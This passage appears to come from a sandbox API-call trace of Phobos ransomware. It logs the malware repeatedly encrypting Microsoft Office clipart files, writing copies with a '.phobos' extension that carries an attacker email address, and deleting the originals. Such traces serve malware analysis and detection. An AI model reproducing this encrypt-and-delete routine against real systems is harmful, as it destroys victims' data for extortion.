CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc8d0) returned 1 [0061.385] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.385] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2856, lpOverlapped=0x0) returned 1 [0061.395] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2860, dwBufLen=0x2860 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2860) returned 1 [0061.395] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2860, lpOverlapped=0x0) returned 1 [0061.536] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0061.536] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.536] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.536] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.536] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.536] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0061.536] CloseHandle (hObject=0x330) returned 1 [0061.536] CloseHandle (hObject=0x2fc) returned 1 [0061.537] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0061.538] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.538] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2690) returned 1 [0061.538] CloseHandle (hObject=0x2fc) returned 1 [0061.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220 [0061.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.539] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.539] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.539] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0061.539] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.539] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xa82, lpOverlapped=0x0) returned 1 [0061.735] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa90, dwBufLen=0xa90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa90) returned 1 [0061.736] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa90, lpOverlapped=0x0) returned 1 [0061.737] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0061.737] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.737] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.737] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.737] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.737] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.737] CloseHandle (hObject=0x2fc) returned 1 [0061.737] CloseHandle (hObject=0x330) returned 1 [0061.738] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0061.739] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.740] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2832) returned 1 [0061.740] CloseHandle (hObject=0x330) returned 1 [0061.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0061.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.740] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.740] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.741] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0061.741] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.741] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xb10, lpOverlapped=0x0) returned 1 [0061.857] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xb20, dwBufLen=0xb20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xb20) returned 1 [0061.857] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xb20, lpOverlapped=0x0) returned 1 [0061.858] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0061.858] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.858] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.858] CryptDestroyKey (hKey=0x10dc950) returned 1 [0061.858] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.859] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.859] CloseHandle (hObject=0x330) returned 1 [0061.859] CloseHandle (hObject=0x2fc) returned 1 [0061.859] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0061.860] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.867] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=40030) returned 1 [0061.867] CloseHandle (hObject=0x310) returned 1 [0061.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0061.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.867] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.867] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.868] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0061.868] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.868] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x9c5e, lpOverlapped=0x0) returned 1 [0061.880] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x9c60, dwBufLen=0x9c60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x9c60) returned 1 [0061.880] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x9c60, lpOverlapped=0x0) returned 1 [0061.881] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca50) returned 1 [0061.881] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.882] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.882] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.882] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.882] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0061.882] CloseHandle (hObject=0x310) returned 1 [0061.882] CloseHandle (hObject=0x328) returned 1 [0061.960] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0061.961] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.961] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=17584) returned 1 [0061.961] CloseHandle (hObject=0x328) returned 1 [0061.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0061.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.962] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.962] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.962] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0061.962] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.962] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x44b0, lpOverlapped=0x0) returned 1 [0062.025] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x44c0, dwBufLen=0x44c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x44c0) returned 1 [0062.026] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x44c0, lpOverlapped=0x0) returned 1 [0062.027] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0062.027] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.027] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.027] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0062.027] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.027] CryptDestroyKey (hKey=0x10dc590) returned 1 [0062.027] CloseHandle (hObject=0x328) returned 1 [0062.027] CloseHandle (hObject=0x310) returned 1 [0062.028] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0062.029] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.030] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=42992) returned 1 [0062.030] CloseHandle (hObject=0x310) returned 1 [0062.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x220 [0062.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0062.030] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.030] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0062.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0062.030] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0062.030] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.030] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xa7f0, lpOverlapped=0x0) returned 1 [0062.045] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa800, dwBufLen=0xa800 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xa800) returned 1 [0062.045] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xa800, lpOverlapped=0x0) returned 1 [0062.047] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc910) returned 1 [0062.047] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0062.047] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0062.047] CryptDestroyKey (hKey=0x10dc910) returned 1 [0062.047] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0062.047] CryptDestroyKey (hKey=0x10dc750) returned 1 [0062.047] CloseHandle (hObject=0x310) returned 1 [0062.047] CloseHandle (hObject=0x328) returned 1 [0062.049] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0062.050] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0062.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 